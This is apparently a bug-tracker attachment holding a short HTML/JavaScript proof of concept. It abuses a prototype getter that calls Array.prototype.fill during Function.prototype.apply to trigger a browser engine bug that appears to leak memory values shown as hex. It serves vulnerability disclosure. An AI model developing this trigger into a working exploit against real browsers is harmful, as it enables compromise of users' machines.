New issue
Advanced search Search tips

Issue 920 attachment: apply.html (487 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
var n = new Number(a[item]);
if( n < 0){

n = n + 0x100000000;
}
h.push(n.toString(16));
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
Object.defineProperty(o, '3', {
get: function() {
var ta = [];
ta.fill.call(t, "natalie");
return 5;
}
});

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>